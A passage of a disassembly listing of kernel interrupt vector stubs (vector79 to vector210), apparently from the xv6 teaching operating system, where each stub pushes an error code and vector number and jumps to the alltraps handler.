80106209: e9 70 f8 ff ff jmp 80105a7e <alltraps>
8010620e <vector79>:
.globl vector79
vector79:
pushl $0
8010620e: 6a 00 push $0x0
pushl $79
80106210: 6a 4f push $0x4f
jmp alltraps
80106212: e9 67 f8 ff ff jmp 80105a7e <alltraps>
80106217 <vector80>:
.globl vector80
vector80:
pushl $0
80106217: 6a 00 push $0x0
pushl $80
80106219: 6a 50 push $0x50
jmp alltraps
8010621b: e9 5e f8 ff ff jmp 80105a7e <alltraps>
80106220 <vector81>:
.globl vector81
vector81:
pushl $0
80106220: 6a 00 push $0x0
pushl $81
80106222: 6a 51 push $0x51
jmp alltraps
80106224: e9 55 f8 ff ff jmp 80105a7e <alltraps>
80106229 <vector82>:
.globl vector82
vector82:
pushl $0
80106229: 6a 00 push $0x0
pushl $82
8010622b: 6a 52 push $0x52
jmp alltraps
8010622d: e9 4c f8 ff ff jmp 80105a7e <alltraps>
80106232 <vector83>:
.globl vector83
vector83:
pushl $0
80106232: 6a 00 push $0x0
pushl $83
80106234: 6a 53 push $0x53
jmp alltraps
80106236: e9 43 f8 ff ff jmp 80105a7e <alltraps>
8010623b <vector84>:
.globl vector84
vector84:
pushl $0
8010623b: 6a 00 push $0x0
pushl $84
8010623d: 6a 54 push $0x54
jmp alltraps
8010623f: e9 3a f8 ff ff jmp 80105a7e <alltraps>
80106244 <vector85>:
.globl vector85
vector85:
pushl $0
80106244: 6a 00 push $0x0
pushl $85
80106246: 6a 55 push $0x55
jmp alltraps
80106248: e9 31 f8 ff ff jmp 80105a7e <alltraps>
8010624d <vector86>:
.globl vector86
vector86:
pushl $0
8010624d: 6a 00 push $0x0
pushl $86
8010624f: 6a 56 push $0x56
jmp alltraps
80106251: e9 28 f8 ff ff jmp 80105a7e <alltraps>
80106256 <vector87>:
.globl vector87
vector87:
pushl $0
80106256: 6a 00 push $0x0
pushl $87
80106258: 6a 57 push $0x57
jmp alltraps
8010625a: e9 1f f8 ff ff jmp 80105a7e <alltraps>
8010625f <vector88>:
.globl vector88
vector88:
pushl $0
8010625f: 6a 00 push $0x0
pushl $88
80106261: 6a 58 push $0x58
jmp alltraps
80106263: e9 16 f8 ff ff jmp 80105a7e <alltraps>
80106268 <vector89>:
.globl vector89
vector89:
pushl $0
80106268: 6a 00 push $0x0
pushl $89
8010626a: 6a 59 push $0x59
jmp alltraps
8010626c: e9 0d f8 ff ff jmp 80105a7e <alltraps>
80106271 <vector90>:
.globl vector90
vector90:
pushl $0
80106271: 6a 00 push $0x0
pushl $90
80106273: 6a 5a push $0x5a
jmp alltraps
80106275: e9 04 f8 ff ff jmp 80105a7e <alltraps>
8010627a <vector91>:
.globl vector91
vector91:
pushl $0
8010627a: 6a 00 push $0x0
pushl $91
8010627c: 6a 5b push $0x5b
jmp alltraps
8010627e: e9 fb f7 ff ff jmp 80105a7e <alltraps>
80106283 <vector92>:
.globl vector92
vector92:
pushl $0
80106283: 6a 00 push $0x0
pushl $92
80106285: 6a 5c push $0x5c
jmp alltraps
80106287: e9 f2 f7 ff ff jmp 80105a7e <alltraps>
8010628c <vector93>:
.globl vector93
vector93:
pushl $0
8010628c: 6a 00 push $0x0
pushl $93
8010628e: 6a 5d push $0x5d
jmp alltraps
80106290: e9 e9 f7 ff ff jmp 80105a7e <alltraps>
80106295 <vector94>:
.globl vector94
vector94:
pushl $0
80106295: 6a 00 push $0x0
pushl $94
80106297: 6a 5e push $0x5e
jmp alltraps
80106299: e9 e0 f7 ff ff jmp 80105a7e <alltraps>
8010629e <vector95>:
.globl vector95
vector95:
pushl $0
8010629e: 6a 00 push $0x0
pushl $95
801062a0: 6a 5f push $0x5f
jmp alltraps
801062a2: e9 d7 f7 ff ff jmp 80105a7e <alltraps>
801062a7 <vector96>:
.globl vector96
vector96:
pushl $0
801062a7: 6a 00 push $0x0
pushl $96
801062a9: 6a 60 push $0x60
jmp alltraps
801062ab: e9 ce f7 ff ff jmp 80105a7e <alltraps>
801062b0 <vector97>:
.globl vector97
vector97:
pushl $0
801062b0: 6a 00 push $0x0
pushl $97
801062b2: 6a 61 push $0x61
jmp alltraps
801062b4: e9 c5 f7 ff ff jmp 80105a7e <alltraps>
801062b9 <vector98>:
.globl vector98
vector98:
pushl $0
801062b9: 6a 00 push $0x0
pushl $98
801062bb: 6a 62 push $0x62
jmp alltraps
801062bd: e9 bc f7 ff ff jmp 80105a7e <alltraps>
801062c2 <vector99>:
.globl vector99
vector99:
pushl $0
801062c2: 6a 00 push $0x0
pushl $99
801062c4: 6a 63 push $0x63
jmp alltraps
801062c6: e9 b3 f7 ff ff jmp 80105a7e <alltraps>
801062cb <vector100>:
.globl vector100
vector100:
pushl $0
801062cb: 6a 00 push $0x0
pushl $100
801062cd: 6a 64 push $0x64
jmp alltraps
801062cf: e9 aa f7 ff ff jmp 80105a7e <alltraps>
801062d4 <vector101>:
.globl vector101
vector101:
pushl $0
801062d4: 6a 00 push $0x0
pushl $101
801062d6: 6a 65 push $0x65
jmp alltraps
801062d8: e9 a1 f7 ff ff jmp 80105a7e <alltraps>
801062dd <vector102>:
.globl vector102
vector102:
pushl $0
801062dd: 6a 00 push $0x0
pushl $102
801062df: 6a 66 push $0x66
jmp alltraps
801062e1: e9 98 f7 ff ff jmp 80105a7e <alltraps>
801062e6 <vector103>:
.globl vector103
vector103:
pushl $0
801062e6: 6a 00 push $0x0
pushl $103
801062e8: 6a 67 push $0x67
jmp alltraps
801062ea: e9 8f f7 ff ff jmp 80105a7e <alltraps>
801062ef <vector104>:
.globl vector104
vector104:
pushl $0
801062ef: 6a 00 push $0x0
pushl $104
801062f1: 6a 68 push $0x68
jmp alltraps
801062f3: e9 86 f7 ff ff jmp 80105a7e <alltraps>
801062f8 <vector105>:
.globl vector105
vector105:
pushl $0
801062f8: 6a 00 push $0x0
pushl $105
801062fa: 6a 69 push $0x69
jmp alltraps
801062fc: e9 7d f7 ff ff jmp 80105a7e <alltraps>
80106301 <vector106>:
.globl vector106
vector106:
pushl $0
80106301: 6a 00 push $0x0
pushl $106
80106303: 6a 6a push $0x6a
jmp alltraps
80106305: e9 74 f7 ff ff jmp 80105a7e <alltraps>
8010630a <vector107>:
.globl vector107
vector107:
pushl $0
8010630a: 6a 00 push $0x0
pushl $107
8010630c: 6a 6b push $0x6b
jmp alltraps
8010630e: e9 6b f7 ff ff jmp 80105a7e <alltraps>
80106313 <vector108>:
.globl vector108
vector108:
pushl $0
80106313: 6a 00 push $0x0
pushl $108
80106315: 6a 6c push $0x6c
jmp alltraps
80106317: e9 62 f7 ff ff jmp 80105a7e <alltraps>
8010631c <vector109>:
.globl vector109
vector109:
pushl $0
8010631c: 6a 00 push $0x0
pushl $109
8010631e: 6a 6d push $0x6d
jmp alltraps
80106320: e9 59 f7 ff ff jmp 80105a7e <alltraps>
80106325 <vector110>:
.globl vector110
vector110:
pushl $0
80106325: 6a 00 push $0x0
pushl $110
80106327: 6a 6e push $0x6e
jmp alltraps
80106329: e9 50 f7 ff ff jmp 80105a7e <alltraps>
8010632e <vector111>:
.globl vector111
vector111:
pushl $0
8010632e: 6a 00 push $0x0
pushl $111
80106330: 6a 6f push $0x6f
jmp alltraps
80106332: e9 47 f7 ff ff jmp 80105a7e <alltraps>
80106337 <vector112>:
.globl vector112
vector112:
pushl $0
80106337: 6a 00 push $0x0
pushl $112
80106339: 6a 70 push $0x70
jmp alltraps
8010633b: e9 3e f7 ff ff jmp 80105a7e <alltraps>
80106340 <vector113>:
.globl vector113
vector113:
pushl $0
80106340: 6a 00 push $0x0
pushl $113
80106342: 6a 71 push $0x71
jmp alltraps
80106344: e9 35 f7 ff ff jmp 80105a7e <alltraps>
80106349 <vector114>:
.globl vector114
vector114:
pushl $0
80106349: 6a 00 push $0x0
pushl $114
8010634b: 6a 72 push $0x72
jmp alltraps
8010634d: e9 2c f7 ff ff jmp 80105a7e <alltraps>
80106352 <vector115>:
.globl vector115
vector115:
pushl $0
80106352: 6a 00 push $0x0
pushl $115
80106354: 6a 73 push $0x73
jmp alltraps
80106356: e9 23 f7 ff ff jmp 80105a7e <alltraps>
8010635b <vector116>:
.globl vector116
vector116:
pushl $0
8010635b: 6a 00 push $0x0
pushl $116
8010635d: 6a 74 push $0x74
jmp alltraps
8010635f: e9 1a f7 ff ff jmp 80105a7e <alltraps>
80106364 <vector117>:
.globl vector117
vector117:
pushl $0
80106364: 6a 00 push $0x0
pushl $117
80106366: 6a 75 push $0x75
jmp alltraps
80106368: e9 11 f7 ff ff jmp 80105a7e <alltraps>
8010636d <vector118>:
.globl vector118
vector118:
pushl $0
8010636d: 6a 00 push $0x0
pushl $118
8010636f: 6a 76 push $0x76
jmp alltraps
80106371: e9 08 f7 ff ff jmp 80105a7e <alltraps>
80106376 <vector119>:
.globl vector119
vector119:
pushl $0
80106376: 6a 00 push $0x0
pushl $119
80106378: 6a 77 push $0x77
jmp alltraps
8010637a: e9 ff f6 ff ff jmp 80105a7e <alltraps>
8010637f <vector120>:
.globl vector120
vector120:
pushl $0
8010637f: 6a 00 push $0x0
pushl $120
80106381: 6a 78 push $0x78
jmp alltraps
80106383: e9 f6 f6 ff ff jmp 80105a7e <alltraps>
80106388 <vector121>:
.globl vector121
vector121:
pushl $0
80106388: 6a 00 push $0x0
pushl $121
8010638a: 6a 79 push $0x79
jmp alltraps
8010638c: e9 ed f6 ff ff jmp 80105a7e <alltraps>
80106391 <vector122>:
.globl vector122
vector122:
pushl $0
80106391: 6a 00 push $0x0
pushl $122
80106393: 6a 7a push $0x7a
jmp alltraps
80106395: e9 e4 f6 ff ff jmp 80105a7e <alltraps>
8010639a <vector123>:
.globl vector123
vector123:
pushl $0
8010639a: 6a 00 push $0x0
pushl $123
8010639c: 6a 7b push $0x7b
jmp alltraps
8010639e: e9 db f6 ff ff jmp 80105a7e <alltraps>
801063a3 <vector124>:
.globl vector124
vector124:
pushl $0
801063a3: 6a 00 push $0x0
pushl $124
801063a5: 6a 7c push $0x7c
jmp alltraps
801063a7: e9 d2 f6 ff ff jmp 80105a7e <alltraps>
801063ac <vector125>:
.globl vector125
vector125:
pushl $0
801063ac: 6a 00 push $0x0
pushl $125
801063ae: 6a 7d push $0x7d
jmp alltraps
801063b0: e9 c9 f6 ff ff jmp 80105a7e <alltraps>
801063b5 <vector126>:
.globl vector126
vector126:
pushl $0
801063b5: 6a 00 push $0x0
pushl $126
801063b7: 6a 7e push $0x7e
jmp alltraps
801063b9: e9 c0 f6 ff ff jmp 80105a7e <alltraps>
801063be <vector127>:
.globl vector127
vector127:
pushl $0
801063be: 6a 00 push $0x0
pushl $127
801063c0: 6a 7f push $0x7f
jmp alltraps
801063c2: e9 b7 f6 ff ff jmp 80105a7e <alltraps>
801063c7 <vector128>:
.globl vector128
vector128:
pushl $0
801063c7: 6a 00 push $0x0
pushl $128
801063c9: 68 80 00 00 00 push $0x80
jmp alltraps
801063ce: e9 ab f6 ff ff jmp 80105a7e <alltraps>
801063d3 <vector129>:
.globl vector129
vector129:
pushl $0
801063d3: 6a 00 push $0x0
pushl $129
801063d5: 68 81 00 00 00 push $0x81
jmp alltraps
801063da: e9 9f f6 ff ff jmp 80105a7e <alltraps>
801063df <vector130>:
.globl vector130
vector130:
pushl $0
801063df: 6a 00 push $0x0
pushl $130
801063e1: 68 82 00 00 00 push $0x82
jmp alltraps
801063e6: e9 93 f6 ff ff jmp 80105a7e <alltraps>
801063eb <vector131>:
.globl vector131
vector131:
pushl $0
801063eb: 6a 00 push $0x0
pushl $131
801063ed: 68 83 00 00 00 push $0x83
jmp alltraps
801063f2: e9 87 f6 ff ff jmp 80105a7e <alltraps>
801063f7 <vector132>:
.globl vector132
vector132:
pushl $0
801063f7: 6a 00 push $0x0
pushl $132
801063f9: 68 84 00 00 00 push $0x84
jmp alltraps
801063fe: e9 7b f6 ff ff jmp 80105a7e <alltraps>
80106403 <vector133>:
.globl vector133
vector133:
pushl $0
80106403: 6a 00 push $0x0
pushl $133
80106405: 68 85 00 00 00 push $0x85
jmp alltraps
8010640a: e9 6f f6 ff ff jmp 80105a7e <alltraps>
8010640f <vector134>:
.globl vector134
vector134:
pushl $0
8010640f: 6a 00 push $0x0
pushl $134
80106411: 68 86 00 00 00 push $0x86
jmp alltraps
80106416: e9 63 f6 ff ff jmp 80105a7e <alltraps>
8010641b <vector135>:
.globl vector135
vector135:
pushl $0
8010641b: 6a 00 push $0x0
pushl $135
8010641d: 68 87 00 00 00 push $0x87
jmp alltraps
80106422: e9 57 f6 ff ff jmp 80105a7e <alltraps>
80106427 <vector136>:
.globl vector136
vector136:
pushl $0
80106427: 6a 00 push $0x0
pushl $136
80106429: 68 88 00 00 00 push $0x88
jmp alltraps
8010642e: e9 4b f6 ff ff jmp 80105a7e <alltraps>
80106433 <vector137>:
.globl vector137
vector137:
pushl $0
80106433: 6a 00 push $0x0
pushl $137
80106435: 68 89 00 00 00 push $0x89
jmp alltraps
8010643a: e9 3f f6 ff ff jmp 80105a7e <alltraps>
8010643f <vector138>:
.globl vector138
vector138:
pushl $0
8010643f: 6a 00 push $0x0
pushl $138
80106441: 68 8a 00 00 00 push $0x8a
jmp alltraps
80106446: e9 33 f6 ff ff jmp 80105a7e <alltraps>
8010644b <vector139>:
.globl vector139
vector139:
pushl $0
8010644b: 6a 00 push $0x0
pushl $139
8010644d: 68 8b 00 00 00 push $0x8b
jmp alltraps
80106452: e9 27 f6 ff ff jmp 80105a7e <alltraps>
80106457 <vector140>:
.globl vector140
vector140:
pushl $0
80106457: 6a 00 push $0x0
pushl $140
80106459: 68 8c 00 00 00 push $0x8c
jmp alltraps
8010645e: e9 1b f6 ff ff jmp 80105a7e <alltraps>
80106463 <vector141>:
.globl vector141
vector141:
pushl $0
80106463: 6a 00 push $0x0
pushl $141
80106465: 68 8d 00 00 00 push $0x8d
jmp alltraps
8010646a: e9 0f f6 ff ff jmp 80105a7e <alltraps>
8010646f <vector142>:
.globl vector142
vector142:
pushl $0
8010646f: 6a 00 push $0x0
pushl $142
80106471: 68 8e 00 00 00 push $0x8e
jmp alltraps
80106476: e9 03 f6 ff ff jmp 80105a7e <alltraps>
8010647b <vector143>:
.globl vector143
vector143:
pushl $0
8010647b: 6a 00 push $0x0
pushl $143
8010647d: 68 8f 00 00 00 push $0x8f
jmp alltraps
80106482: e9 f7 f5 ff ff jmp 80105a7e <alltraps>
80106487 <vector144>:
.globl vector144
vector144:
pushl $0
80106487: 6a 00 push $0x0
pushl $144
80106489: 68 90 00 00 00 push $0x90
jmp alltraps
8010648e: e9 eb f5 ff ff jmp 80105a7e <alltraps>
80106493 <vector145>:
.globl vector145
vector145:
pushl $0
80106493: 6a 00 push $0x0
pushl $145
80106495: 68 91 00 00 00 push $0x91
jmp alltraps
8010649a: e9 df f5 ff ff jmp 80105a7e <alltraps>
8010649f <vector146>:
.globl vector146
vector146:
pushl $0
8010649f: 6a 00 push $0x0
pushl $146
801064a1: 68 92 00 00 00 push $0x92
jmp alltraps
801064a6: e9 d3 f5 ff ff jmp 80105a7e <alltraps>
801064ab <vector147>:
.globl vector147
vector147:
pushl $0
801064ab: 6a 00 push $0x0
pushl $147
801064ad: 68 93 00 00 00 push $0x93
jmp alltraps
801064b2: e9 c7 f5 ff ff jmp 80105a7e <alltraps>
801064b7 <vector148>:
.globl vector148
vector148:
pushl $0
801064b7: 6a 00 push $0x0
pushl $148
801064b9: 68 94 00 00 00 push $0x94
jmp alltraps
801064be: e9 bb f5 ff ff jmp 80105a7e <alltraps>
801064c3 <vector149>:
.globl vector149
vector149:
pushl $0
801064c3: 6a 00 push $0x0
pushl $149
801064c5: 68 95 00 00 00 push $0x95
jmp alltraps
801064ca: e9 af f5 ff ff jmp 80105a7e <alltraps>
801064cf <vector150>:
.globl vector150
vector150:
pushl $0
801064cf: 6a 00 push $0x0
pushl $150
801064d1: 68 96 00 00 00 push $0x96
jmp alltraps
801064d6: e9 a3 f5 ff ff jmp 80105a7e <alltraps>
801064db <vector151>:
.globl vector151
vector151:
pushl $0
801064db: 6a 00 push $0x0
pushl $151
801064dd: 68 97 00 00 00 push $0x97
jmp alltraps
801064e2: e9 97 f5 ff ff jmp 80105a7e <alltraps>
801064e7 <vector152>:
.globl vector152
vector152:
pushl $0
801064e7: 6a 00 push $0x0
pushl $152
801064e9: 68 98 00 00 00 push $0x98
jmp alltraps
801064ee: e9 8b f5 ff ff jmp 80105a7e <alltraps>
801064f3 <vector153>:
.globl vector153
vector153:
pushl $0
801064f3: 6a 00 push $0x0
pushl $153
801064f5: 68 99 00 00 00 push $0x99
jmp alltraps
801064fa: e9 7f f5 ff ff jmp 80105a7e <alltraps>
801064ff <vector154>:
.globl vector154
vector154:
pushl $0
801064ff: 6a 00 push $0x0
pushl $154
80106501: 68 9a 00 00 00 push $0x9a
jmp alltraps
80106506: e9 73 f5 ff ff jmp 80105a7e <alltraps>
8010650b <vector155>:
.globl vector155
vector155:
pushl $0
8010650b: 6a 00 push $0x0
pushl $155
8010650d: 68 9b 00 00 00 push $0x9b
jmp alltraps
80106512: e9 67 f5 ff ff jmp 80105a7e <alltraps>
80106517 <vector156>:
.globl vector156
vector156:
pushl $0
80106517: 6a 00 push $0x0
pushl $156
80106519: 68 9c 00 00 00 push $0x9c
jmp alltraps
8010651e: e9 5b f5 ff ff jmp 80105a7e <alltraps>
80106523 <vector157>:
.globl vector157
vector157:
pushl $0
80106523: 6a 00 push $0x0
pushl $157
80106525: 68 9d 00 00 00 push $0x9d
jmp alltraps
8010652a: e9 4f f5 ff ff jmp 80105a7e <alltraps>
8010652f <vector158>:
.globl vector158
vector158:
pushl $0
8010652f: 6a 00 push $0x0
pushl $158
80106531: 68 9e 00 00 00 push $0x9e
jmp alltraps
80106536: e9 43 f5 ff ff jmp 80105a7e <alltraps>
8010653b <vector159>:
.globl vector159
vector159:
pushl $0
8010653b: 6a 00 push $0x0
pushl $159
8010653d: 68 9f 00 00 00 push $0x9f
jmp alltraps
80106542: e9 37 f5 ff ff jmp 80105a7e <alltraps>
80106547 <vector160>:
.globl vector160
vector160:
pushl $0
80106547: 6a 00 push $0x0
pushl $160
80106549: 68 a0 00 00 00 push $0xa0
jmp alltraps
8010654e: e9 2b f5 ff ff jmp 80105a7e <alltraps>
80106553 <vector161>:
.globl vector161
vector161:
pushl $0
80106553: 6a 00 push $0x0
pushl $161
80106555: 68 a1 00 00 00 push $0xa1
jmp alltraps
8010655a: e9 1f f5 ff ff jmp 80105a7e <alltraps>
8010655f <vector162>:
.globl vector162
vector162:
pushl $0
8010655f: 6a 00 push $0x0
pushl $162
80106561: 68 a2 00 00 00 push $0xa2
jmp alltraps
80106566: e9 13 f5 ff ff jmp 80105a7e <alltraps>
8010656b <vector163>:
.globl vector163
vector163:
pushl $0
8010656b: 6a 00 push $0x0
pushl $163
8010656d: 68 a3 00 00 00 push $0xa3
jmp alltraps
80106572: e9 07 f5 ff ff jmp 80105a7e <alltraps>
80106577 <vector164>:
.globl vector164
vector164:
pushl $0
80106577: 6a 00 push $0x0
pushl $164
80106579: 68 a4 00 00 00 push $0xa4
jmp alltraps
8010657e: e9 fb f4 ff ff jmp 80105a7e <alltraps>
80106583 <vector165>:
.globl vector165
vector165:
pushl $0
80106583: 6a 00 push $0x0
pushl $165
80106585: 68 a5 00 00 00 push $0xa5
jmp alltraps
8010658a: e9 ef f4 ff ff jmp 80105a7e <alltraps>
8010658f <vector166>:
.globl vector166
vector166:
pushl $0
8010658f: 6a 00 push $0x0
pushl $166
80106591: 68 a6 00 00 00 push $0xa6
jmp alltraps
80106596: e9 e3 f4 ff ff jmp 80105a7e <alltraps>
8010659b <vector167>:
.globl vector167
vector167:
pushl $0
8010659b: 6a 00 push $0x0
pushl $167
8010659d: 68 a7 00 00 00 push $0xa7
jmp alltraps
801065a2: e9 d7 f4 ff ff jmp 80105a7e <alltraps>
801065a7 <vector168>:
.globl vector168
vector168:
pushl $0
801065a7: 6a 00 push $0x0
pushl $168
801065a9: 68 a8 00 00 00 push $0xa8
jmp alltraps
801065ae: e9 cb f4 ff ff jmp 80105a7e <alltraps>
801065b3 <vector169>:
.globl vector169
vector169:
pushl $0
801065b3: 6a 00 push $0x0
pushl $169
801065b5: 68 a9 00 00 00 push $0xa9
jmp alltraps
801065ba: e9 bf f4 ff ff jmp 80105a7e <alltraps>
801065bf <vector170>:
.globl vector170
vector170:
pushl $0
801065bf: 6a 00 push $0x0
pushl $170
801065c1: 68 aa 00 00 00 push $0xaa
jmp alltraps
801065c6: e9 b3 f4 ff ff jmp 80105a7e <alltraps>
801065cb <vector171>:
.globl vector171
vector171:
pushl $0
801065cb: 6a 00 push $0x0
pushl $171
801065cd: 68 ab 00 00 00 push $0xab
jmp alltraps
801065d2: e9 a7 f4 ff ff jmp 80105a7e <alltraps>
801065d7 <vector172>:
.globl vector172
vector172:
pushl $0
801065d7: 6a 00 push $0x0
pushl $172
801065d9: 68 ac 00 00 00 push $0xac
jmp alltraps
801065de: e9 9b f4 ff ff jmp 80105a7e <alltraps>
801065e3 <vector173>:
.globl vector173
vector173:
pushl $0
801065e3: 6a 00 push $0x0
pushl $173
801065e5: 68 ad 00 00 00 push $0xad
jmp alltraps
801065ea: e9 8f f4 ff ff jmp 80105a7e <alltraps>
801065ef <vector174>:
.globl vector174
vector174:
pushl $0
801065ef: 6a 00 push $0x0
pushl $174
801065f1: 68 ae 00 00 00 push $0xae
jmp alltraps
801065f6: e9 83 f4 ff ff jmp 80105a7e <alltraps>
801065fb <vector175>:
.globl vector175
vector175:
pushl $0
801065fb: 6a 00 push $0x0
pushl $175
801065fd: 68 af 00 00 00 push $0xaf
jmp alltraps
80106602: e9 77 f4 ff ff jmp 80105a7e <alltraps>
80106607 <vector176>:
.globl vector176
vector176:
pushl $0
80106607: 6a 00 push $0x0
pushl $176
80106609: 68 b0 00 00 00 push $0xb0
jmp alltraps
8010660e: e9 6b f4 ff ff jmp 80105a7e <alltraps>
80106613 <vector177>:
.globl vector177
vector177:
pushl $0
80106613: 6a 00 push $0x0
pushl $177
80106615: 68 b1 00 00 00 push $0xb1
jmp alltraps
8010661a: e9 5f f4 ff ff jmp 80105a7e <alltraps>
8010661f <vector178>:
.globl vector178
vector178:
pushl $0
8010661f: 6a 00 push $0x0
pushl $178
80106621: 68 b2 00 00 00 push $0xb2
jmp alltraps
80106626: e9 53 f4 ff ff jmp 80105a7e <alltraps>
8010662b <vector179>:
.globl vector179
vector179:
pushl $0
8010662b: 6a 00 push $0x0
pushl $179
8010662d: 68 b3 00 00 00 push $0xb3
jmp alltraps
80106632: e9 47 f4 ff ff jmp 80105a7e <alltraps>
80106637 <vector180>:
.globl vector180
vector180:
pushl $0
80106637: 6a 00 push $0x0
pushl $180
80106639: 68 b4 00 00 00 push $0xb4
jmp alltraps
8010663e: e9 3b f4 ff ff jmp 80105a7e <alltraps>
80106643 <vector181>:
.globl vector181
vector181:
pushl $0
80106643: 6a 00 push $0x0
pushl $181
80106645: 68 b5 00 00 00 push $0xb5
jmp alltraps
8010664a: e9 2f f4 ff ff jmp 80105a7e <alltraps>
8010664f <vector182>:
.globl vector182
vector182:
pushl $0
8010664f: 6a 00 push $0x0
pushl $182
80106651: 68 b6 00 00 00 push $0xb6
jmp alltraps
80106656: e9 23 f4 ff ff jmp 80105a7e <alltraps>
8010665b <vector183>:
.globl vector183
vector183:
pushl $0
8010665b: 6a 00 push $0x0
pushl $183
8010665d: 68 b7 00 00 00 push $0xb7
jmp alltraps
80106662: e9 17 f4 ff ff jmp 80105a7e <alltraps>
80106667 <vector184>:
.globl vector184
vector184:
pushl $0
80106667: 6a 00 push $0x0
pushl $184
80106669: 68 b8 00 00 00 push $0xb8
jmp alltraps
8010666e: e9 0b f4 ff ff jmp 80105a7e <alltraps>
80106673 <vector185>:
.globl vector185
vector185:
pushl $0
80106673: 6a 00 push $0x0
pushl $185
80106675: 68 b9 00 00 00 push $0xb9
jmp alltraps
8010667a: e9 ff f3 ff ff jmp 80105a7e <alltraps>
8010667f <vector186>:
.globl vector186
vector186:
pushl $0
8010667f: 6a 00 push $0x0
pushl $186
80106681: 68 ba 00 00 00 push $0xba
jmp alltraps
80106686: e9 f3 f3 ff ff jmp 80105a7e <alltraps>
8010668b <vector187>:
.globl vector187
vector187:
pushl $0
8010668b: 6a 00 push $0x0
pushl $187
8010668d: 68 bb 00 00 00 push $0xbb
jmp alltraps
80106692: e9 e7 f3 ff ff jmp 80105a7e <alltraps>
80106697 <vector188>:
.globl vector188
vector188:
pushl $0
80106697: 6a 00 push $0x0
pushl $188
80106699: 68 bc 00 00 00 push $0xbc
jmp alltraps
8010669e: e9 db f3 ff ff jmp 80105a7e <alltraps>
801066a3 <vector189>:
.globl vector189
vector189:
pushl $0
801066a3: 6a 00 push $0x0
pushl $189
801066a5: 68 bd 00 00 00 push $0xbd
jmp alltraps
801066aa: e9 cf f3 ff ff jmp 80105a7e <alltraps>
801066af <vector190>:
.globl vector190
vector190:
pushl $0
801066af: 6a 00 push $0x0
pushl $190
801066b1: 68 be 00 00 00 push $0xbe
jmp alltraps
801066b6: e9 c3 f3 ff ff jmp 80105a7e <alltraps>
801066bb <vector191>:
.globl vector191
vector191:
pushl $0
801066bb: 6a 00 push $0x0
pushl $191
801066bd: 68 bf 00 00 00 push $0xbf
jmp alltraps
801066c2: e9 b7 f3 ff ff jmp 80105a7e <alltraps>
801066c7 <vector192>:
.globl vector192
vector192:
pushl $0
801066c7: 6a 00 push $0x0
pushl $192
801066c9: 68 c0 00 00 00 push $0xc0
jmp alltraps
801066ce: e9 ab f3 ff ff jmp 80105a7e <alltraps>
801066d3 <vector193>:
.globl vector193
vector193:
pushl $0
801066d3: 6a 00 push $0x0
pushl $193
801066d5: 68 c1 00 00 00 push $0xc1
jmp alltraps
801066da: e9 9f f3 ff ff jmp 80105a7e <alltraps>
801066df <vector194>:
.globl vector194
vector194:
pushl $0
801066df: 6a 00 push $0x0
pushl $194
801066e1: 68 c2 00 00 00 push $0xc2
jmp alltraps
801066e6: e9 93 f3 ff ff jmp 80105a7e <alltraps>
801066eb <vector195>:
.globl vector195
vector195:
pushl $0
801066eb: 6a 00 push $0x0
pushl $195
801066ed: 68 c3 00 00 00 push $0xc3
jmp alltraps
801066f2: e9 87 f3 ff ff jmp 80105a7e <alltraps>
801066f7 <vector196>:
.globl vector196
vector196:
pushl $0
801066f7: 6a 00 push $0x0
pushl $196
801066f9: 68 c4 00 00 00 push $0xc4
jmp alltraps
801066fe: e9 7b f3 ff ff jmp 80105a7e <alltraps>
80106703 <vector197>:
.globl vector197
vector197:
pushl $0
80106703: 6a 00 push $0x0
pushl $197
80106705: 68 c5 00 00 00 push $0xc5
jmp alltraps
8010670a: e9 6f f3 ff ff jmp 80105a7e <alltraps>
8010670f <vector198>:
.globl vector198
vector198:
pushl $0
8010670f: 6a 00 push $0x0
pushl $198
80106711: 68 c6 00 00 00 push $0xc6
jmp alltraps
80106716: e9 63 f3 ff ff jmp 80105a7e <alltraps>
8010671b <vector199>:
.globl vector199
vector199:
pushl $0
8010671b: 6a 00 push $0x0
pushl $199
8010671d: 68 c7 00 00 00 push $0xc7
jmp alltraps
80106722: e9 57 f3 ff ff jmp 80105a7e <alltraps>
80106727 <vector200>:
.globl vector200
vector200:
pushl $0
80106727: 6a 00 push $0x0
pushl $200
80106729: 68 c8 00 00 00 push $0xc8
jmp alltraps
8010672e: e9 4b f3 ff ff jmp 80105a7e <alltraps>
80106733 <vector201>:
.globl vector201
vector201:
pushl $0
80106733: 6a 00 push $0x0
pushl $201
80106735: 68 c9 00 00 00 push $0xc9
jmp alltraps
8010673a: e9 3f f3 ff ff jmp 80105a7e <alltraps>
8010673f <vector202>:
.globl vector202
vector202:
pushl $0
8010673f: 6a 00 push $0x0
pushl $202
80106741: 68 ca 00 00 00 push $0xca
jmp alltraps
80106746: e9 33 f3 ff ff jmp 80105a7e <alltraps>
8010674b <vector203>:
.globl vector203
vector203:
pushl $0
8010674b: 6a 00 push $0x0
pushl $203
8010674d: 68 cb 00 00 00 push $0xcb
jmp alltraps
80106752: e9 27 f3 ff ff jmp 80105a7e <alltraps>
80106757 <vector204>:
.globl vector204
vector204:
pushl $0
80106757: 6a 00 push $0x0
pushl $204
80106759: 68 cc 00 00 00 push $0xcc
jmp alltraps
8010675e: e9 1b f3 ff ff jmp 80105a7e <alltraps>
80106763 <vector205>:
.globl vector205
vector205:
pushl $0
80106763: 6a 00 push $0x0
pushl $205
80106765: 68 cd 00 00 00 push $0xcd
jmp alltraps
8010676a: e9 0f f3 ff ff jmp 80105a7e <alltraps>
8010676f <vector206>:
.globl vector206
vector206:
pushl $0
8010676f: 6a 00 push $0x0
pushl $206
80106771: 68 ce 00 00 00 push $0xce
jmp alltraps
80106776: e9 03 f3 ff ff jmp 80105a7e <alltraps>
8010677b <vector207>:
.globl vector207
vector207:
pushl $0
8010677b: 6a 00 push $0x0
pushl $207
8010677d: 68 cf 00 00 00 push $0xcf
jmp alltraps
80106782: e9 f7 f2 ff ff jmp 80105a7e <alltraps>
80106787 <vector208>:
.globl vector208
vector208:
pushl $0
80106787: 6a 00 push $0x0
pushl $208
80106789: 68 d0 00 00 00 push $0xd0
jmp alltraps
8010678e: e9 eb f2 ff ff jmp 80105a7e <alltraps>
80106793 <vector209>:
.globl vector209
vector209:
pushl $0
80106793: 6a 00 push $0x0
pushl $209
80106795: 68 d1 00 00 00 push $0xd1
jmp alltraps
8010679a: e9 df f2 ff ff jmp 80105a7e <alltraps>
8010679f <vector210>:
.globl vector210
vector210:
pushl $0
8010679f: 6a 00 push $0x0
pushl $210
801067a1: 68 d2 00 00 00 push $0xd2
jmp alltraps
801067a6: e9 d3 f2 ff ff jmp 80105a7e <alltraps>
801067ab <vector211>:
.globl vector211
